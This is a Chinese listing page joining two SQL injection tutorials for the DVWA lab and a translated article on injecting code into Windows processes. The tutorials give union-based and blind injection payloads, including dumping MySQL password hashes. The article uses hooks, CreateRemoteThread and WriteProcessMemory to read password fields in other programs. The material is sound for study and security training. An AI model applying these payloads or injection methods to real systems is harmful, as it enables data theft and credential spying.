精华内容
参与话题
问答
  • 常见的Web漏洞——SQL注入

    万次阅读 多人点赞 2018-06-25 17:59:26
    SQL注入简介 SQL注入原理 SQL注入分类及判断 SQL注入方法 联合查询注入 基于bool的盲注 基于时间的盲注 总结 SQL注入简介 SQL注入是网站存在最多也是最简单的漏洞,主要原因是程序员在开发用户和数据库交互...

    目录

    SQL注入简介

    SQL注入原理

    SQL注入分类及判断

    SQL注入方法

    联合查询注入

    基于bool的盲注

    基于时间的盲注

    总结


    SQL注入简介

    SQL注入是网站存在最多也是最简单的漏洞,主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。本文以免费开源数据库MySQL为例,看懂本文需要了解基本SQL语句。

    SQL注入原理

    一般用户登录用的SQL语句为:SELECT * FROM user WHERE username='admin' AND password='passwd',此处admin和passwd分别为用户输入的用户名和密码,如果程序员没有对用户输入的用户名和密码做处理,就可以构造万能密码成功绕过登录验证,如用户输入'or 1#,SQL语句将变为:SELECT * FROM user WHERE username=''or 1#' AND password='',‘’or 1为TRUE,#注释掉后面的内容,所以查询语句可以正确执行。我们可以使用DVWA来测试一下。

    打开DVWA也面,登录,然后修改DVWA Security等级为Low点击submit,如图:

    然后点击左侧SQL Injection,出现一个输入ID查数据的文本框,点击网站右下角的View Source可查看源代码,如图

    可以看到SQL语句为SELECT first_name, last_name FROM users WHERE user_id = '$id';用户输入的字符串存在$id变量中,可以看到上面没有任何处理用户输入的字符串的函数,因此可以肯定这里存在SQL注入,我们仍然可以输入'or 1#,是SQL语句变为:SELECT first_name, last_name FROM users WHERE user_id = ''or 1#';从而查询到所有的first_name和last_name,如图:

    SQL注入分类及判断

    事实上SQL注入有很多种,按数据类型可以分为数字型、字符型和搜索型,按提交方式可分为GET型,POST型,Cookie型和HTTP请求头注入,按执行效果有可以分为报错注入、联合查询注入、盲注和堆查询注入,其中盲注又可分为基于bool的和基于时间的注入。从查询语句及可看出来这里是字符型的注入同时也是GET型注入和表单注入,数字型注入查询语句为:SELECT * FROM user WHERE id=1,搜索型注入为查询语句为:SELECT * FROM user WHERE search like '%1%'

    在知道查询语句的情况下我们很容易辨别是否存在注入及注入类型,很多时候我们并不知道查询语句是什么,所以我们可以这样判断,在URL或者表单中输入一个单引号或者其他特殊符号,页面出现错误说明此页面存在SQL注入,如果页面正常显示说明有字符被过滤或者不存在注入,读者可自行测试,如果存在注入可以进一步判断注入类型,在URL或者表单中输入0 or 1,如果可以查到数据,说明是数字型注入,如果输入0'or 1#,查到数据说明是字符型注入,方法不唯一。总之数字型注入不需要使用单引号闭合前面的单引号就可以执行SQL语句,而字符型必须闭合前面的单引号,然后才可以执行SQL语句,同时也需要把后面的单引号闭合,而注释就是很好的一种闭合后面的单引号的方法。

    GET型注入很容易从URL中看出来,如图,网页的URL为:http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1,浏览器通常使用?来表示GET方法传递参数,而使用POST传递参数是不会显示到URL中的,因此URL中含有?说明就是使用GET方法传递参数,如图:

    SQL注入方法

    注入方法可以直接在URL中提交注入语句,需要注意的是,在URL提交SQL语句,需要将注释符#进行URL编码,有时候所有SQL语句都需要URL编码,如图:

    联合查询注入

    POST型注入和Cookie注入需要插件和工具才可进行,以后在介绍,联合查询注入也是用的非常多的,可以在URL中提交SQL语句,也可以在表单提交,联合查询相当于把别的表的数据查询结果显示到当前表,使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列,此外还需知道是字符型注入还是数字型注入,由前面实验可知这是字符型注入,所以我们闭合前面的单引号,构造联合注入语句,输入1'order by 1#,页面正常,然后输入1'order by 2#,依次增加,直到3时出现错误,如图,说明当前表有2列:

    接着我们构造联合查询语句暴露查询列显示在网页的位置:'union select 1,2#;

    接着构造联合查询语句查询当前数据库用户和数据库名,结果会显示在上图对应的位置:'union select user(),database()#;

    我们知道每个MySQL数据库中都有数据库information,和mysql,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以我们可以使用information来查询到所有的数据,查询当前数据库所有数据:表:'union select 1,table_name from information_schema.tables where table_schema=database()#;

    查询当前数据库下数据表abc的所有字段:'union select 1,column_name from information_schema.columns where table_name='abc'#;

    查询当前数据库下数据表abc的字段user的数据:'union select 1,user from abc#;

    查询MySQL的root用户和密码hash值:'union select user,authentication_string from mysql.user#,如图:

    基于bool的盲注

    上面这些注入方法都需要网页可以显示查询数据的结果,而盲注适合页面不显示任何数据查询结果,基于bool的盲注就是页面只有正常和不正常两种情况,通过true和false来猜解数据,速度比较慢,基于bool的盲注通常用函数length(),返回长度,ascii(),返回ASCII值,substr(string,a,b),返回string以a开头,长度为b的字符串,count(),返回数量。

    点击DVWA页面的SQL Injection(Blind),随便输入数字发现只有两种显示结果,符合bool注入条件,构造语句猜测当前数据库名长度是否大于5:1' and length(database())>5#,如图:

    说明当前数据库长度是小于5 的用二分法继续构造:1' and length(database())>3#;

    显然长度大于3却不大于5,当前数据库名长度就是4,然后判断数据库名第一个字符ASCII是否大于97:1'and (ascii(substr(database(),1,1)))>97#,依旧使用二分法慢慢判断,最终确定为ASCII为100,对应字符为:d;

    然后判断数据库名第二个字符ASCII是否大于97:1'and (ascii(substr(database(),2,1)))>97#,最终确定ASCII为118,对应字符:v,同上步骤继续,最终确定当前数据库为:dvwa;

    然后判断当前数据库中数据表的个数:1'and (select count(*) from information_schema.tables where table_schema=database())>3#,这个步骤可以有也可以没有,看完下面就知道了;

    然后判断当前数据库中第一个数据表的长度是否大于5:1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#,结果如图:

    原理同上面判断数据库长度,最后得到当前数据库的第一个数据表的长度,获取第二个表的长度:1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>5#,第三个,第四个以此类推,当第N个数据表长度大于0返回为假时,说明这个数据表不存在;

    然后猜解当前数据库的第一个数据表第一个字符的ASCII:1'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97#,结果为103,对应字符:g;

    然后猜解当前数据库的第一个数据表的第二个字符的ASCII:1'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)))>97#,结果为117,对应字符:u,

    第三个,第四个字符以此类推直到猜解完毕;

    然后猜解当前数据库中数据表users的列数:1'and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')>3#,同样,这个步骤也是可以省略的;

    然后猜解当前数据库中数据表users第一列的长度:1'and (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)>5#,当大于0为假,说明此列不存在;

    然后猜解当前数据库数据表users的第一列字段的第一个字符1'and (ascii(substr(select column_name from information_schema.columns where table_name='users') limit 0,1),1,1)>97#,然后依次猜解完全部字段。

    基于时间的盲注

    基于时间的盲注和基于bool的盲注很相似,只不过基于时间的盲注用于不管执行的SQL语句正确与否,页面都不会给任何提示,因此无法使用bool盲注。基于时间的盲注经常用到的函数除了上面的还有延时函数sleep(),if(c,a,b),如果c为真执行a,否则执行b。

    猜解当前数据库名的长度,如果长度大于0就会延时5s:1'and if(length(database())>0,sleep(5),0)#,如图:

    然后猜解当前数据库中数据表的个数:1'and if((select count(*) from information_schema.tables where table_schema=database())>3,sleep(3),0)#;

    然后猜解当前数据库中的第一个数据表第一个字符的ASCII:1'and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97,sleep(3),0)#,同bool注入的步骤一样,只是注入语句有点差异,类比上面的语句即可猜解数所有数据。

    总结

    SQL注入技术不是单凭一篇博客就可以讲完的,这里只带领大家掌握SQL注入的原理及常见的几种SQL注入的形成原因及利用方法,后面遇见在详解其他方法。有很多讲SQL注入的书,个人认为Justin Clarke写的《SQL注入攻击与防御》很不错,类似的书还有很多,如果想自己深入学习,可以寻找适合自己的书。相信大家通过本篇已掌握SQL注入原理和相应类型的注入的方法,同时也需要掌握SQL注入的一般步骤:

    1、测试网页是否存在SQL注入

    2、判断SQL注入类型

    3、利用SQL语句查询数据库当前用户及数据库

    4、利用SQL语句查询表名、列名、字段名以及字段值

    展开全文
  • SQL注入——入门篇

    万次阅读 多人点赞 2018-07-09 19:45:03
    SQL注入 快捷键 加粗 Ctrl + B 斜体 Ctrl + I 引用 Ctrl + Q 插入链接 Ctrl + L 插入代码 Ctrl + K 插入图片 Ctrl + G 提升标题 Ctrl + H 有序列表 Ctrl + O 无序列表 Ctrl + U 横线 Ctrl + R 撤销 Ctrl + Z ...

    SQL 注入的定义

    所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 —— [ 百度百科 ]

    网页链接存在参数传递,后台并没有对用户的输入进行过滤,导致用户的输入直接被SQL解释器执行。SQL注入的产生条件

    • 有参数传递
    • 参数值带入数据库查询并且执行

    举个简单的例子:

    • A www.test.com/index.php?id=1
    • B www.test.com/index.php
    • C www.test.com/index.php?id=1&parm=3

    这里,A把参数值1赋值给参数‘id’,并且传到index.php的网页中,达到相应的效果。那么,就有可能存在注入漏洞。同样的道理,C也有可能存在注入漏洞,因为其解析了两个参数值。而B只是对一个网页进行简单的访问,并没有涉及到参数的传递。

    我们这里只是在网页链接上,对SQL注入进行浅显易懂的解释,事实上也有一些SQL注入并不会显示在链接地址上,这就需要分析网页的源代码,才能定位到相应的漏洞,这方面的进阶,我们以后再加以叙述。

    原理分析

    我们以DVWA平台分析SQL注入产生的原因,DVWA的搭建过程,可自行参考网上教程。
    当用户在User ID的文本框中输入 ID,点击提交,网页就会以GET方式把用户刚刚的输入提交到后台,并且进行相应的查询。

    当用户在User ID的文本框中输入ID,点击提交,网页就会以GET方式把用户刚刚的输入提交到后台,并且进行数据库查询,查询结果又会返回在前端页面下。我们来分析以下源码,以帮助我们更好的了解SQL注入形成的原因。

    <?php     
    if(isset($_GET['Submit'])){ 
    
        // Retrieve data 
        // 用$符号定义一个变量,叫id,预定义的$_GET变量用于收集来自表单‘id’的值,也就是说用户在网页后缀提交的id=1,数字1最终会赋值给$id
    
        $id = $_GET['id'];       
        $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    
        // 执行SQL语句,在这两句代码中,我们可以看到,用户提交的id未经任何过滤,直接赋值到SQL语句中
    
        $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 
    
        $num = mysql_numrows($result); 
    
        // 以下代码是服务器返回给前端的查询结果,可暂时忽略
        $i = 0;
        while ($i < $num) { 
    
            $first = mysql_result($result,$i,"first_name"); 
            $last = mysql_result($result,$i,"last_name"); 
    
            echo '<pre>'; 
            echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; 
            echo '</pre>'; 
    
            $i++; 
        } 
    } 
    ?>

    从以上代码的注释分析,可以看出,用户提交的数据并没有进行过滤。如果用户提交的不仅仅是一个id,而是一段标准的SQL语句,那么会被SQL解释器执行。例如输入1‘ and 1=1 order by 4 #,那么上述代码中的SQL语句就会变为

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 order by 4 #'";

    #号将后续的引号注释了。order by 是用来查询列数的,当字段数超过数据库的字段数,数据库就会返回错误信息,因此,我们可以利用order by来猜测数据库的字段数。至此,如果熟悉SQL语句,那么可以进一步写入更多的语句,查询数据库,导致隐私数据泄露。

    注入过程

    漏洞判断

    • 1.判断网页链接的格式是否符合我们一开始提出的SQL注入产生的条件
    • 2.使用常见的 and 1=1 或者 单引号’ 来判断用户的输入是否被SQL解释器执行。

    -比如:1’ and 1=1 #,同样的,我们带入到网页的源码中,

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #'"

    and 1=1 是一个逻辑判断语句,也就是说,因为 1=1,所以前面的SQL语句查询,可以执行。
    那么如果换成 and 1=2,很明显,逻辑判断不成立,所以前面的SQL语句无法查询,网页返回错误信息。

    查询数据库名称

    • 联合查询法
    • 逐字猜解法

    在这里,我们输入 1’ union select 1,database() #,就可以在网页前端返回数据库名称。
    这里写图片描述

    这里的dvwa就是指数据库的名字叫dvwa。至于为什么可以查询到名称,刚刚我们已经有过类似的分析,读者可自行将我们的输入带入到网页源码。database()在SQL语句中,就是指数据库的名称。

    查询数据库表名

    输入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

    • group_concat() 是一个函数,将同一个id的其他字段合并起来。 table_name,顾名思义,就是表名的意思。
    • information_schema.tables 是MySQL提供的自带的数据库,主要是提供用户自行建立的一些表的信息。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
    • table_schema=database() 是指数据库名称为database()。

    这里写图片描述
    说明dvwa数据库中,一共有两个表,分别为guestbook和users。

    获取字段名

    输入1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #
    这里写图片描述
    查询成功后,可以看到users表中的字段有user_id, first_name, last_name, user…

    获取数据库的详细内容

    输入1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
    这里写图片描述
    最终,我们得到数据库的详细内容。

    防御SQL注入

    归根到底,需要对用户的输入进行过滤,因为在Web攻防中,我们永远不要相信用户的输入 1
    1.使用预编译语句,绑定变量。
    2.使用安全的存储过程对抗SQL注入。
    3.检查数据类型。
    4.使用安全函数。

    总结

    在此篇文章中,我们对SQL注入进行实际的分析,并以awvs作为试验平台。通过一个简单的小试验,希望大家对SQL注入能够有一个更加清晰的认识和了解。当然实际注入过程,我们可以借助自动化平台或软件实现,如Sqlmap、穿山甲、啊D注入等等工具。最后,简要说明几种常见的防注入方法。


    1. 吴翰清. 白帽子讲Web安全[M]. 电子工业出版社, 2014.
    展开全文
  • 代码注入的三种方式

    千次阅读 2018-02-28 16:40:52
    WriteProcessMemory 技术――如何用该技术子类化远程控件――何时使用 CreateRemoteThread 和 WriteProcessMemory 技术结束语附录A附录B附录C附录D附录E附录F参考资料简介本文将讨论如何把代码注入不...

    目录

    Windows 钩子

    CreateRemoteThread 和 LoadLibrary 技术

    ――进程间通信

    CreateRemoteThread 和 WriteProcessMemory 技术

    ――如何用该技术子类化远程控件

    ――何时使用 CreateRemoteThread 和 WriteProcessMemory 技术

    结束语

    附录A

    附录B

    附录C

    附录D

    附录E

    附录F

    参考资料

    简介

    本文将讨论如何把代码注入不同的进程地址空间,然后在该进程的上下文中执行注入的代码。 我们在网上可以查到一些窗口/密码侦测的应用例子,网上的这些程序大多都依赖 Windows 钩子技术来实现。本文将讨论除了使用 Windows 钩子技术以外的其它技术来实现这个功能。如图一所示:

     

    图一 WinSpy 密码侦测程序

    为了找到解决问题的方法。首先让我们简单回顾一下问题背景。

    要“读取”某个控件的内容――无论这个控件是否属于当前的应用程序――通常都是发送 WM_GETTEXT 消息来实现。这个技术也同样应用到编辑控件,但是如果该编辑控件属于另外一个进程并设置了 ES_PASSWORD 式样,那么上面讲的方法就行不通了。用 WM_GETTEXT 来获取控件的内容只适用于进程“拥有”密码控件的情况。所以我们的问题变成了如何在另外一个进程的地址空间执行:

    1.::SendMessage( hPwdEdit, WM_GETTEXT, nMaxChars, psBuffer );

    通常有三种可能性来解决这个问题。

    1.将你的代码放入某个 DLL,然后通过 Windows 钩子映射该DLL到远程进程;

    2.将你的代码放入某个 DLL,然后通过 CreateRemoteThread 和 LoadLibrary 技术映射该DLL到远程进程;

    3.如果不写单独的 DLL,可以直接将你的代码拷贝到远程进程――通过 WriteProcessMemory――并用 CreateRemoteThread 启动它的执行。本文将在第三部分详细描述该技术实现细节;

    第一部分: Windows 钩子

    范例程序――参见HookSpy 和HookInjEx

    Windows 钩子主要作用是监控某些线程的消息流。通常我们将钩子分为本地钩子和远程钩子以及系统级钩子,本地钩子一般监控属于本进程的线程的消息流,远程钩子是线程专用的,用于监控属于另外进程的线程消息流。系统级钩子监控运行在当前系统中的所有线程的消息流。

    如果钩子作用的线程属于另外的进程,那么你的钩子过程必须驻留在某个动态链接库(DLL)中。然后系统映射包含钩子过程的DLL到钩子作用的线程的地址空间。Windows将映射整个 DLL,而不仅仅是钩子过程。这就是为什么 Windows 钩子能被用于将代码注入到别的进程地址空间的原因。

    本文我不打算涉及钩子的具体细节(关于钩子的细节请参见 MSDN 库中的 SetWindowHookEx API),但我在此要给出两个很有用心得,在相关文档中你是找不到这些内容的:

    1.在成功调用 SetWindowsHookEx 后,系统自动映射 DLL 到钩子作用的线程地址空间,但不必立即发生映射,因为 Windows 钩子都是消息,DLL 在消息事件发生前并没有产生实际的映射。例如:

    如果你安装一个钩子监控某些线程(WH_CALLWNDPROC)的非队列消息,在消息被实际发送到(某些窗口的)钩子作用的线程之前,该DLL 是不会被映射到远程进程的。换句话说,如果 UnhookWindowsHookEx 在某个消息被发送到钩子作用的线程之前被调用,DLL 根本不会被映射到远程进程(即使 SetWindowsHookEx 本身调用成功)。为了强制进行映射,在调用 SetWindowsHookEx 之后马上发送一个事件到相关的线程。

    在UnhookWindowsHookEx了之后,对于没有映射的DLL处理方法也一样。只有在足够的事件发生后,DLL才会有真正的映射。

    2.当你安装钩子后,它们可能影响整个系统得性能(尤其是系统级钩子),但是你可以很容易解决这个问题,如果你使用线程专用钩子的DLL映射机制,并不截获消息。考虑使用如下代码:

    01.BOOL APIENTRY DllMain( HANDLE hModule,
    02.DWORD  ul_reason_for_call,
    03.LPVOID lpReserved )
    04.{
    05.if( ul_reason_for_call == DLL_PROCESS_ATTACH )
    06.{
    07.// Increase reference count via LoadLibrary
    08.char lib_name[MAX_PATH];
    09.::GetModuleFileName( hModule, lib_name, MAX_PATH );
    10.::LoadLibrary( lib_name );
    11. 
    12.// Safely remove hook
    13.::UnhookWindowsHookEx( g_hHook );
    14.}   
    15.return TRUE;
    16.}          

    那么会发生什么呢?首先我们通过Windows 钩子将DLL映射到远程进程。然后,在DLL被实际映射之后,我们解开钩子。通常当第一个消息到达钩子作用线程时,DLL此时也不会被映射。这里的处理技巧是调用LoadLibrary通过增加 DLLs的引用计数来防止映射不成功。

    现在剩下的问题是如何卸载DLL,UnhookWindowsHookEx 是不会做这个事情的,因为钩子已经不作用于线程了。你可以像下面这样做:

    就在你想要解除DLL映射前,安装另一个钩子;

    发送一个“特殊”消息到远程线程;

    在钩子过程中截获这个消息,响应该消息时调用 FreeLibrary 和 UnhookWindowsHookEx;

    目前只使用了钩子来从处理远程进程中DLL的映射和解除映射。在此“作用于线程的”钩子对性能没有影响。

    下面我们将讨论另外一种方法,这个方法与 LoadLibrary 技术的不同之处是DLL的映射机制不会干预目标进程。相对LoadLibrary 技术,这部分描述的方法适用于 WinNT和Win9x。

    但是,什么时候使用这个技巧呢?答案是当DLL必须在远程进程中驻留较长时间(即如果你子类化某个属于另外一个进程的控件时)以及你想尽可能少的干涉目标进程时。我在 HookSpy 中没有使用它,因为注入DLL 的时间并不长――注入时间只要足够得到密码即可。我提供了另外一个例子程序――HookInjEx――来示范。HookInjEx 将DLL映射到资源管理器“explorer.exe”,并从中/解除影射,它子类化“开始”按钮,并交换鼠标左右键单击“开始”按钮的功能。

    HookSpy 和 HookInjEx 的源代码都可以从本文的中获得。

    第二部分:CreateRemoteThread 和 LoadLibrary 技术

    范例程序――LibSpy

    通常,任何进程都可以通过 LoadLibrary API 动态加载DLL。但是,如何强制一个外部进程调用这个函数呢?答案是:CreateRemoteThread。

    首先,让我们看一下 LoadLibrary 和FreeLibrary API 的声明:

    1.HINSTANCE LoadLibrary(
    2.LPCTSTR lpLibFileName // 库模块文件名的地址
    3.);
    4. 
    5.BOOL FreeLibrary(
    6.HMODULE hLibModule // 要加载的库模块的句柄
    7.);

    现在将它们与传递到 CreateRemoteThread 的线程例程――ThreadProc 的声明进行比较。

    1.DWORD WINAPI ThreadProc(
    2.LPVOID lpParameter // 线程数据
    3.);

    你可以看到,所有函数都使用相同的调用规范并都接受 32位参数,返回值的大小都相同。也就是说,我们可以传递一个指针到LoadLibrary/FreeLibrary 作为到 CreateRemoteThread 的线程例程。但这里有两个问题,请看下面对CreateRemoteThread 的描述:

    1.CreateRemoteThread 的 lpStartAddress 参数必须表示远程进程中线程例程的开始地址。

    2.如果传递到 ThreadFunc 的参数lpParameter――被解释为常规的 32位值(FreeLibrary将它解释为一个 HMODULE),一切OK。但是,如果 lpParameter 被解释为一个指针(LoadLibraryA将它解释为一个串指针)。它必须指向远程进程的某些数据。

    第一个问题实际上是由它自己解决的。LoadLibrary 和 FreeLibray 两个函数都在 kernel32.dll 中。因为必须保证kernel32存在并且在每个“常规”进程中的加载地址要相同,LoadLibrary/FreeLibray 的地址在每个进程中的地址要相同,这就保证了有效的指针被传递到远程进程。

    第二个问题也很容易解决。只要通过 WriteProcessMemory 将 DLL 模块名(LoadLibrary需要的DLL模块名)拷贝到远程进程即可。

    所以,为了使用CreateRemoteThread 和 LoadLibrary 技术,需要按照下列步骤来做:

    1.获取远程进程(OpenProcess)的 HANDLE;

    2.为远程进程中的 DLL名分配内存(VirtualAllocEx);

    3.将 DLL 名,包含全路径名,写入分配的内存(WriteProcessMemory);

    4.用 CreateRemoteThread 和 LoadLibrary. 将你的DLL映射到远程进程;

    5.等待直到线程终止(WaitForSingleObject),也就是说直到 LoadLibrary 调用返回。另一种方法是,一旦 DllMain(用DLL_PROCESS_ATTACH调用)返回,线程就会终止;

    6.获取远程线程的退出代码(GetExitCodeThread)。注意这是一个 LoadLibrary 返回的值,因此是所映射 DLL 的基地址(HMODULE)。
    在第二步中释放分配的地址(VirtualFreeEx);

    7.用 CreateRemoteThread 和 FreeLibrary从远程进程中卸载 DLL。传递在第六步获取的 HMODULE 句柄到 FreeLibrary(通过 CreateRemoteThread 的lpParameter参数);

    8.注意:如果你注入的 DLL 产生任何新的线程,一定要在卸载DLL 之前将它们都终止掉;

    9.等待直到线程终止(WaitForSingleObject);

    此外,处理完成后不要忘了关闭所有句柄,包括在第四步和第八步创建的两个线程以及在第一步获取的远程线程句柄。现在让我们看一下 LibSpy 的部分代码,为了简单起见,上述步骤的实现细节中的错误处理以及 UNICODE 支持部分被略掉。

    01.HANDLE hThread;
    02.char    szLibPath[_MAX_PATH];  // “LibSpy.dll”模块的名称 (包括全路径);
    03.void*   pLibRemote;   // 远程进程中的地址,szLibPath 将被拷贝到此处;
    04.DWORD   hLibModule;   // 要加载的模块的基地址(HMODULE)
    05.HMODULE hKernel32 = ::GetModuleHandle("Kernel32");
    06. 
    07.// 初始化szLibPath
    08.//...
    09.// 1. 在远程进程中为szLibPath 分配内存
    10.// 2. 将szLibPath 写入分配的内存
    11.pLibRemote = ::VirtualAllocEx( hProcess, NULL, sizeof(szLibPath),
    12.MEM_COMMIT, PAGE_READWRITE );
    13.::WriteProcessMemory( hProcess, pLibRemote, (void*)szLibPath,
    14.sizeof(szLibPath), NULL );
    15. 
    16.// 将"LibSpy.dll" 加载到远程进程(使用CreateRemoteThread 和 LoadLibrary)
    17.hThread = ::CreateRemoteThread( hProcess, NULL, 0,
    18.(LPTHREAD_START_ROUTINE) ::GetProcAddress( hKernel32,
    19."LoadLibraryA" ),
    20.pLibRemote, 0, NULL );
    21.::WaitForSingleObject( hThread, INFINITE );
    22. 
    23.// 获取所加载的模块的句柄
    24.::GetExitCodeThread( hThread, &hLibModule );
    25. 
    26.// 清除
    27.::CloseHandle( hThread );
    28.::VirtualFreeEx( hProcess, pLibRemote, sizeof(szLibPath), MEM_RELEASE );       

    假设我们实际想要注入的代码――SendMessage ――被放在DllMain (DLL_PROCESS_ATTACH)中,现在它已经被执行。那么现在应该从目标进程中将DLL 卸载:

    01.// 从目标进程中卸载"LibSpy.dll"  (使用 CreateRemoteThread 和 FreeLibrary)
    02.hThread = ::CreateRemoteThread( hProcess, NULL, 0,
    03.(LPTHREAD_START_ROUTINE) ::GetProcAddress( hKernel32,
    04."FreeLibrary" ),
    05.(void*)hLibModule, 0, NULL );
    06.::WaitForSingleObject( hThread, INFINITE );
    07. 
    08.// 清除
    09.::CloseHandle( hThread );      

    进程间通信

    到目前为止,我们只讨论了关于如何将DLL 注入到远程进程的内容,但是,在大多数情况下,注入的 DLL 都需要与原应用程序进行某种方式的通信(回想一下,我们的DLL是被映射到某个远程进程的地址空间里了,不是在本地应用程序的地址空间中)。比如秘密侦测程序,DLL必须要知道实际包含密码的控件句柄,显然,编译时无法将这个值进行硬编码。同样,一旦DLL获得了秘密,它必须将它发送回原应用程序,以便能正确显示出来。

    幸运的是,有许多方法处理这个问题,文件映射,WM_COPYDATA,剪贴板以及很简单的 #pragma data_seg 共享数据段等,本文我不打算使用这些技术,因为MSDN(“进程间通信”部分)以及其它渠道可以找到很多文档参考。不过我在 LibSpy例子中还是使用了 #pragma data_seg。细节请参考 LibSpy 源代码。

    第三部分:CreateRemoteThread 和 WriteProcessMemory 技术

    范例程序――WinSpy

    另外一个将代码拷贝到另一个进程地址空间并在该进程上下文中执行的方法是使用远程线程和 WriteProcessMemory API。这种方法不用编写单独的DLL,而是用 WriteProcessMemory 直接将代码拷贝到远程进程――然后用 CreateRemoteThread 启动它执行。先来看看 CreateRemoteThread 的声明:

    01.HANDLE CreateRemoteThread(
    02.HANDLE hProcess,        // 传入创建新线程的进程句柄
    03.LPSECURITY_ATTRIBUTES lpThreadAttributes,  // 安全属性指针
    04.DWORD dwStackSize,      // 字节为单位的初始线程堆栈
    05.LPTHREAD_START_ROUTINE lpStartAddress,     // 指向线程函数的指针
    06.LPVOID lpParameter,     // 新线程使用的参数
    07.DWORD dwCreationFlags,  // 创建标志
    08.LPDWORD lpThreadId      // 指向返回的线程ID
    09.);             

    如果你比较它与 CreateThread(MSDN)的声明,你会注意到如下的差别:

    在 CreateRemoteThread中,hProcess是额外的一个参数,一个进程句柄,新线程就是在这个进程中创建的;

    在 CreateRemoteThread中,lpStartAddress 表示的是在远程进程地址空间中的线程起始地址。线程函数必须要存在于远程进程中,所以我们不能简单地传递一个指针到本地的 ThreadFunc。必须得先拷贝代码到远程进程;

    同样,lpParameter 指向的数据也必须要存在于远程进程,所以也得将它拷贝到那。

    综上所述,我们得按照如下的步骤来做:

    1.获取一个远程进程的HANDLE (OpenProces) ;

    2.在远程进程地址空间中为注入的数据分配内存(VirtualAllocEx);

    3.将初始的 INDATA 数据结构的一个拷贝写入分配的内存中(WriteProcessMemory);

    4.在远程进程地址空间中为注入的代码分配内存;

    5.将 ThreadFunc 的一个拷贝写入分配的内存;

    6.用 CreateRemoteThread启动远程的 ThreadFunc 拷贝;

    7.等待远程线程终止(WaitForSingleObject);

    8.获取远程来自远程进程的结果(ReadProcessMemory 或 GetExitCodeThread);

    9.释放在第二步和第四步中分配的内存(VirtualFreeEx);

    10.关闭在第六步和第一步获取的句柄(CloseHandle);

    ThreadFunc 必须要遵循的原则:

    1.除了kernel32.dll 和user32.dll 中的函数之外,ThreadFunc 不要调用任何其它函数,只有 kernel32.dll 和user32.dll被保证在本地和目标进程中的加载地址相同(注意,user32.dll并不是被映射到每个 Win32 的进程)。如果你需要来自其它库中的函数,将LoadLibrary 和 GetProcAddress 的地址传给注入的代码,然后放手让它自己去做。如果映射到目标进程中的DLL有冲突,你也可以用 GetModuleHandle 来代替 LoadLibrary。

    同样,如果你想在 ThreadFunc 中调用自己的子例程,要单独把每个例程的代码拷贝到远程进程并用 INJDATA为 ThreadFunc 提供代码的地址。

    2.不要使用静态字符串,而要用 INJDATA 来传递所有字符串。之所以要这样,是因为编译器将静态字符串放在可执行程序的“数据段”中,可是引用(指针)是保留在代码中的。那么,远程进程中ThreadFunc 的拷贝指向的内容在远程进程的地址空间中是不存在的。

    3.去掉 /GZ 编译器开关,它在调试版本中是默认设置的。

    4.将 ThreadFunc 和 AfterThreadFunc 声明为静态类型,或者不启用增量链接。

    5.ThreadFunc 中的局部变量一定不能超过一页(也就是 4KB)。

    注意在调试版本中4KB的空间有大约10个字节是用于内部变量的。

    1.如果你有一个开关语句块大于3个case 语句,将它们像下面这样拆分开:

    01.switch( expression ) {
    02.case constant1: statement1; goto END;
    03.case constant2: statement2; goto END;
    04.case constant3: statement2; goto END;
    05.}
    06.switch( expression ) {
    07.case constant4: statement4; goto END;
    08.case constant5: statement5; goto END;
    09.case constant6: statement6; goto END;
    10.}
    11.END:               

    或者将它们修改成一个 if-else if 结构语句(参见附录E)。

    如果你没有按照这些规则来做,目标进程很可能会崩溃。所以务必牢记。在目标进程中不要假设任何事情都会像在本地进程中那样 (参见附录F)。

    GetWindowTextRemote(A/W)

    要想从“远程”编辑框获得密码,你需要做的就是将所有功能都封装在GetWindowTextRemot(A/W):中。

    1.int GetWindowTextRemoteA( HANDLE hProcess, HWND hWnd, LPSTR lpString );
    2.int GetWindowTextRemoteW( HANDLE hProcess, HWND hWnd, LPWSTR lpString );
    3. 
    4.参数说明:
    5.hProcess:编辑框控件所属的进程句柄;
    6.hWnd:包含密码的编辑框控件句柄;
    7.lpString:接收文本的缓冲指针;
    8.返回值:返回值是拷贝的字符数;

    下面让我们看看它的部分代码――尤其是注入数据的代码――以便明白 GetWindowTextRemote 的工作原理。此处为简单起见,略掉了 UNICODE 支持部分。

    01.INJDATA
    02.typedef LRESULT (WINAPI *SENDMESSAGE)(HWND,UINT,WPARAM,LPARAM);
    03. 
    04.typedef struct {
    05.HWND hwnd; // 编辑框句柄
    06.SENDMESSAGE fnSendMessage; // 指向user32.dll 中 SendMessageA 的指针
    07. 
    08.char psText[128]; // 接收密码的缓冲
    09.} INJDATA;

    INJDATA 是一个被注入到远程进程的数据结构。但在注入之前,结构中指向 SendMessageA 的指针是在本地应用程序中初始化的。因为对于每个使用user32.dll的进程来说,user32.dll总是被映射到相同的地址,因此,SendMessageA 的地址也肯定是相同的。这就保证了被传递到远程进程的是一个有效的指针。

    ThreadFunc函数

